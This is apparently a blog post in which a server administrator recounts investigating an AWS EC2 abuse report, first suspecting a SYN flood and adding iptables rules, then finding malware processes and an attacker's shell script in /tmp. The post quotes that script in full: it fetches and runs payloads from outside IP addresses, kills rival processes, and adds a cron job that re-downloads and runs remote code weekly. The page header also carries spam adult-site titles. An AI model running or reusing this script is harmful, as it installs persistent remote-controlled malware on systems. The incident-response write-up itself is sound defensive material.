压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

　　亞馬遜上ec2發(fā)來郵件Your Amazon EC2 Abuse Report，說是流量超標(biāo)，It's possible that your environment has been compromised by an external attacker讓我們自己檢查檢查。

　　開始檢查：使用who命令查看的時候，只有我一個人在今天登陸的痕跡；接下來使用last命令，看到最近有幾個人在登陸成功，有一個ip地址非常的奇怪，在ip地址后面加了S；用tcpdump分析數(shù)據(jù)的流向，發(fā)現(xiàn)自己的服務(wù)器總是向一個服務(wù)器發(fā)送包(tcp port 80)，查看80端口數(shù)據(jù)流向看出來的。

　　因?yàn)橐矝]有經(jīng)驗(yàn)，就將報的錯誤google了下，發(fā)現(xiàn)有人的log和我的類似，可能會是SYN攻擊，簡單的來說就是利用三次握手協(xié)議，耗盡服務(wù)器的寶貴的資源，http：//www.study-area.org/tips/syn_flood.htm， 一點(diǎn)介紹吧

　　log中顯示

　　2014-01-06 19：32：27.508614 IP (tos 0x0， ttl 64， id 46584， offset 0， flags [DF]， proto TCP (6)， length 60) 10.134.181.166.47682 >200.156.100.119.80： Flags [S]， cksum 0xed6e (incorrect> 0xe3d1)， seq 368868445， win 14600， options [mss 1460，sackOK，TS val 600296754 ecr 0，nop，wscale 7]， length 0

　　于是看了網(wǎng)上的建議：首先建立防火墻，不行再換ip，再不行就換instance，重啟服務(wù)。

　　首先第一步：建立防火墻

　　只開啟我們服務(wù)需要的相應(yīng)的端口，比如80端口 ，8080端口，當(dāng)然，在腳本中寫入防SYN攻擊

　　iptables -A synflood -m limit –limit 10/s –limit-burst 1000 -j RETURN

　　iptables -A synflood -p tcp -j REJECT –reject-with tcp-reset

　　iptables -A INPUT -p tcp -m state –state NEW -j synflood

　　剛開始是好的，亞馬遜發(fā)來賀電^ ^，詳細(xì)詢問了情況，但是過了兩天，亞馬遜又發(fā)來賀電說服務(wù)器的流量有問題，之前的修改防火墻貌似沒有奏效

　　執(zhí)行第二步：修改ip地址

　　之前用過亞馬遜的ec2，好害怕會停，停了之后就會數(shù)據(jù)會掉，趕緊備份個，其實(shí)在邊上的AMI上相當(dāng)于鏡像，是最后被逼無奈的時候用的，可能數(shù)據(jù)庫什么的都會掉寫數(shù)據(jù)，畢竟沒有做熱備份

　　在Elastic中選擇ip地址，allocate到相應(yīng)的instance中，如果有域名，可別忘了提前在域名服務(wù)器中修改對應(yīng)的域名哈

　　換了ip地址之后，用free命令看時，使用的內(nèi)存降低了，降低了200多M，但是原因不再于此，現(xiàn)在回想起來可能是連接數(shù)少了，所以內(nèi)存減小了【總之有疑問】

　　亞馬遜的郵件還是發(fā)個不停，這時候我覺得有問題了，或許問題不在外面，而是在我的服務(wù)器上。

　　執(zhí)行第三步：查看我自身的系統(tǒng)tcpdump的結(jié)果是系統(tǒng)的80端口數(shù)據(jù)流量有問題，使用netstat -ant|grep 80，其中有好幾個都是由名字叫php的進(jìn)程開啟的，據(jù)我所知的服務(wù)不涉及php，于是用ps aux|grep php查看進(jìn)程，發(fā)現(xiàn)了大量的名字均為php的進(jìn)程，并且占用內(nèi)存和cpu相當(dāng)?shù)母撸胮kill 殺死之后，馬上查看tcpdump數(shù)據(jù)，發(fā)現(xiàn)數(shù)據(jù)量馬上變化，但是過了不到5分鐘，流量又出現(xiàn)原來的問題，由此所知，可能不止一個這樣的腳本，并且或許寫到了cron或者擁有守護(hù)進(jìn)程，腳本的路徑在/tmp下

　　使用top查看，又出現(xiàn)了類似與php的perl進(jìn)程名字，這里肯定就有問題了

　　使用more查看不了php，因?yàn)槭嵌M(jìn)制文件，加密過，在tmp下又發(fā)現(xiàn)了一個shell腳本：內(nèi)容我貼上來：

　　#！/bin/sh

　　cd /tmp；cd /dev/shm

　　wget -q http：//221.132.37.26/shb -O ..a

　　chmod +x ..a

　　./..a

　　cd /dev/shm ； wget 221.132.37.26/ru ； bash ru ； rm -rf ru

　　cd /dev/shm； wget 193.12.247.103/ru ； bash ru ； rm -rf ru

　　killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php

　　killall -9 .rnd

　　killall -9 .a

　　killall -9 dev

　　killall -9 sh

　　killall -9 bash

　　killall -9 apache2

　　killall -9 httpd

　　killall -9 cla

　　killall -9 ka

　　killall -9 kav

　　killall -9 m32

　　killall -9 m64

　　killall -9 perl

　　killall -9 sh

　　killall -9 sucrack

　　kill -9 `pidof .rnd`

　　kill -9 `pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w`

　　kill -9 `pidof dev`

　　kill -9 `pidof perl`

　　kill -9 `pidof m32`

　　kill -9 `pidof m64`

　　kill -9 `pidof ka`

　　kill -9 `pidof kav`

　　kill -9 `pidof cla`

　　kill -9 `pidof sh`

　　kill -9 `pidof sucrack`

　　echo "@weekly wget -q http：//221.132.37.26/sh -O /tmp/sh；sh /tmp/sh；rm -rd /tmp/sh" >> /tmp/cron

　　crontab /tmp/cron

　　rm -rf /tmp/cron

　　我在這個網(wǎng)址只能找到這個shell腳本，其他的有的不在，有的已經(jīng)加密了，看來這哥們已經(jīng)在系統(tǒng)上做升級了，

　　執(zhí)行第四步：將找到的腳本全都移除，殺死，ok

　　回想：我這次主要是判斷方向出錯，判斷的時候使用：netstat -n -p TCP，有很多SYN_RECV的，即處于半鏈接狀態(tài)的就是SYN攻擊，還有top，tcpdump非常非常有用（port 80），還有，防火墻必須設(shè)置成 不能被掃描到；數(shù)據(jù)一定一定備份～～～